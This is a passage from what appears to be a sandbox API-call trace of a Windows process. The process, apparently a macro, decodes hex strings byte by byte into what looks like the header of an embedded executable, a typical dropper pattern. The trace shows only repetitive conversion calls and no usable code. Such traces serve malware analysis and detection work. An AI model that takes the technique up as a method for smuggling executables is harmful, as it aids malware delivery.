pvar=0x18eaec) returned 0x0 [0191.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0191.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01", lpUsedDefaultChar=0x0) returned 1 [0191.072] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.072] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.072] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.072] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.073] VarParseNumFromStr (in: strIn="&HE", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.073] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="\x0e") returned 1 [0191.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0e", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x0e", lpUsedDefaultChar=0x0) returned 1 [0191.074] VarParseNumFromStr (in: strIn="&H1F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.074] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="\x1f") returned 1 [0191.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x1f", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x1f", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x1f", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x1f", lpUsedDefaultChar=0x0) returned 1 [0191.075] VarParseNumFromStr (in: strIn="&HBA", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.075] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="º") returned 1 [0191.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="º", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="º", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="º", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="º", lpUsedDefaultChar=0x0) returned 1 [0191.076] VarParseNumFromStr (in: strIn="&HE", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.076] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="\x0e") returned 1 [0191.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0e", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x0e", lpUsedDefaultChar=0x0) returned 1 [0191.077] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.077] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.078] VarParseNumFromStr (in: strIn="&HB4", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.078] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="´") returned 1 [0191.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="´", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="´", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="´", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="´", lpUsedDefaultChar=0x0) returned 1 [0191.079] VarParseNumFromStr (in: strIn="&H9", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.079] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="\x09") returned 1 [0191.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x09", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x09", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x09", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09", lpUsedDefaultChar=0x0) returned 1 [0191.080] VarParseNumFromStr (in: strIn="&HCD", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.080] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="Í") returned 1 [0191.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Í", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Í", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Í", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Í", lpUsedDefaultChar=0x0) returned 1 [0191.081] VarParseNumFromStr (in: strIn="&H21", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.081] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="!") returned 1 [0191.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!", lpUsedDefaultChar=0x0) returned 1 [0191.082] VarParseNumFromStr (in: strIn="&HB8", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.082] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="¸") returned 1 [0191.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¸", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¸", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¸", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¸", lpUsedDefaultChar=0x0) returned 1 [0191.082] VarParseNumFromStr (in: strIn="&H1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.082] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.083] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0191.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01", lpUsedDefaultChar=0x0) returned 1 [0191.083] VarParseNumFromStr (in: strIn="&H4C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.083] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.083] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="L") returned 1 [0191.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="L", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="L", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="L", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="L", lpUsedDefaultChar=0x0) returned 1 [0191.084] VarParseNumFromStr (in: strIn="&HCD", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.084] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="Í") returned 1 [0191.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Í", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Í", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Í", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Í", lpUsedDefaultChar=0x0) returned 1 [0191.085] VarParseNumFromStr (in: strIn="&H21", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.085] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="!") returned 1 [0191.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!", lpUsedDefaultChar=0x0) returned 1 [0191.086] VarParseNumFromStr (in: strIn="&H54", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.086] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="T") returned 1 [0191.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="T", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="T", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="T", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="T", lpUsedDefaultChar=0x0) returned 1 [0191.086] VarParseNumFromStr (in: strIn="&H68", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.086] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0191.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 1 [0191.087] VarParseNumFromStr (in: strIn="&H69", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.087] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0191.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i", lpUsedDefaultChar=0x0) returned 